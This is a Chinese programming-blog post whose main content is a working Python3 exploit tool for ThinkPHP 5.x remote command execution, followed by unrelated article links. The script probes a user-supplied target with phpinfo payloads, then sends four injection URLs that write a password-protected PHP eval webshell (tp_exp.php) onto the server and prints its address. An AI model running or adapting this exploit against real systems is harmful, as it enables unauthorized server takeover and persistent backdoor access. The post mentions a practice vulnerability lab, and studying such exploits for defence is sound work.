python3编写ThinkPHP命令执行Getshell的方法


Posted in Python onFebruary 26, 2019

加了三个验证漏洞以及四个getshell方法

# /usr/bin/env python3
# -*- coding: utf-8 -*-
# @Author: Morker
# @Email: [email]admin@nsf.me[/email]
# @Blog:  [url]http://nsf.me/[/url]
 
import requests
import sys
 
def demo():
  print(' _______ _   _    _  _____ _  _ _____ ')
  print(' |__  __| |  (_)   | | | __ \| | | | __ \ ')
  print('  | | | |__ _ _ __ | | _| |__) | |__| | |__) |')
  print('''  | | | '_ \| | '_ \| |/ / ___/| __ | ___/ ''')
  print('  | | | | | | | | | |  <| |  | | | | |   ')
  print('  |_| |_| |_|_|_| |_|_|\_\_|  |_| |_|_|   ')
  print()
  print('\tThinkPHP 5.x (v5.0.23 and v5.1.31 following version).')
  print('\tRemote command execution exploit.')
  print('\tVulnerability verification and getshell.')
  print('\tTarget: http://target/public')
  print()
class ThinkPHP():
  def __init__(self,web):
    self.web = web
    self.headers = {
    "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0",
    "Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    "Accept-Language" : "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
    "Accept-Encoding" : "gzip, deflate",
    "Content-Type" : "application/x-www-form-urlencoded",
    "Connection" : "keep-alive"
    }
 
  def verification(self):
    i = 0
    s = 0
    verifications = ['/?s=index/\\think\Request/input&filter=phpinfo&data=1','/?s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1','/?s=index/\\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1']
    while True:
      if i == len(verifications):
        break
      else:
        url = self.web + verifications[i]
        req = requests.get(url=url,headers=self.headers)
        if 'phpinfo()' in req.text:
          s = 1
          break
        else:
          s = 0
        i += 1
    if s == 1:
      print("[+] There are vulnerabilities.")
      print()
      toshell = input("[*] Getshell? (y/n):")
      if toshell == 'y':
        self.getshell()
      elif toshell == 'n':
        sys.exit()
      else:
        sys.exit()
    else:
      print("[-] There are no vulnerabilities.")
 
  def getshell(self):
    getshells = [
    '?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=tp_exp.php&vars[1][]=<?php @eval($_POST[nicai4]); ?>',
    '?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%27<?php%20@eval($_POST[nicai4]);%20?>%27%20>>%20tp_exp.php',
    '?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^<?php%20@eval($_POST[nicai4]);%20?^>%20>>tp_exp.php',
    '?s=index/\\think\\template\driver\\file/write&cacheFile=tp_exp.php&content=<?php%20eval($_POST[nicai4]);?>']
    shell = self.web + '/tp_exp.php'
    i = 0
    s = 0
    while True:
      if i == len(getshells):
        break
      else:
        url = self.web + getshells[i]
        req = requests.get(url=url,headers=self.headers)
        req_shell = requests.get(url=shell,headers=self.headers)
        if req_shell.status_code == 200:
          s = 1
          break
        else:
          s = 0
        i += 1
    if s == 1:
      print("[+] WebShell :%s PassWord :nicai4" % shell)
    else:
      print("[-] The vulnerability does not exist or exists waf.")
 
def main():
  demo()
  url = input("[*] Please input your target: ")
  run = ThinkPHP(url)
  run.verification()
 
if __name__ == '__main__':
  main()

注:图中的测试网址为在线漏洞环境,可自己去在线搭建测试。

环境地址:https://www.vsplate.com/

效果图:

python3编写ThinkPHP命令执行Getshell的方法

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持三水点靠木。

Python 相关文章推荐
用Python输出一个杨辉三角的例子
Jun 13 Python
一个超级简单的python web程序
Sep 11 Python
编程语言Python的发展史
Sep 26 Python
Python基于回溯法子集树模板解决旅行商问题(TSP)实例
Sep 05 Python
python版学生管理系统
Jan 10 Python
Python爬虫包BeautifulSoup简介与安装(一)
Jun 17 Python
django 外键model的互相读取方法
Dec 15 Python
Pycharm新建模板默认添加个人信息的实例
Jul 15 Python
python实现WebSocket服务端过程解析
Oct 18 Python
解决Python spyder显示不全df列和行的问题
Apr 20 Python
python随机模块random的22种函数(小结)
May 15 Python
python文件名批量重命名脚本实例代码
Apr 22 Python
初探利用Python进行图文识别(OCR)
Feb 26 #Python
Python编写合并字典并实现敏感目录的小脚本
Feb 26 #Python
Python实现监控Nginx配置文件的不同并发送邮件报警功能示例
Feb 26 #Python
利用python实现对web服务器的目录探测的方法
Feb 26 #Python
python selenium 弹出框处理的实现
Feb 26 #Python
python实现学员管理系统
Feb 26 #Python
python实现电子产品商店
Feb 26 #Python
You might like
php合并js请求的例子
2013/11/01 PHP
PHP封装的Twitter访问类实例
2015/07/18 PHP
超详细的php用户注册页面填写信息完整实例(附源码)
2015/11/17 PHP
PHP使用pdo实现事务处理操作示例
2018/09/05 PHP
Laravel使用模型实现like模糊查询的例子
2019/10/24 PHP
laravel框架中表单请求类型和CSRF防护实例分析
2019/11/23 PHP
php与js的区别是什么
2013/08/05 Javascript
让页面上两个div中的滚动条(滑块)同步运动示例
2013/08/07 Javascript
Document.location.href和.replace的区别示例介绍
2014/03/04 Javascript
JavaScript也谈内存优化
2014/06/06 Javascript
js实现的黑背景灰色二级导航菜单效果代码
2015/08/24 Javascript
EasyUI布局 高度自适应
2016/06/04 Javascript
javascript中递归的两种写法
2017/01/17 Javascript
jquery中each循环的简单回滚操作
2017/05/05 jQuery
npm 下载指定版本的组件方法
2018/05/17 Javascript
angular 内存溢出的问题解决
2018/07/12 Javascript
JavaScript树的深度优先遍历和广度优先遍历算法示例
2018/07/30 Javascript
Python  连接字符串(join %)
2008/09/06 Python
使用Py2Exe for Python3创建自己的exe程序示例
2018/10/31 Python
python实现按首字母分类查找功能
2019/10/31 Python
python中读入二维csv格式的表格方法详解(以元组/列表形式表示)
2020/04/24 Python
PyQt中使用QtSql连接MySql数据库的方法
2020/07/28 Python
实例教程 纯CSS3打造非常炫的加载动画效果
2014/11/05 HTML / CSS
Monki官网:斯堪的纳维亚的独立时尚品牌
2020/11/09 全球购物
捐赠仪式主持词
2014/03/19 职场文书
争先创优活动总结
2014/08/27 职场文书
KTV门卫岗位职责
2014/10/09 职场文书
党的群众路线教育实践活动查摆问题及整改措施
2014/10/10 职场文书
2015年乡镇妇联工作总结
2015/05/19 职场文书
交通处罚决定书
2015/06/24 职场文书
2016五四青年节活动总结范文
2016/04/06 职场文书
英语版自我评价,35句话轻松搞定
2019/10/08 职场文书
教你用python实现一个无界面的小型图书管理系统
2021/05/21 Python
redis实现排行榜功能
2021/05/24 Redis
nginx结合openssl实现https的方法
2021/07/25 Servers
mysql事务隔离级别详情
2021/10/24 MySQL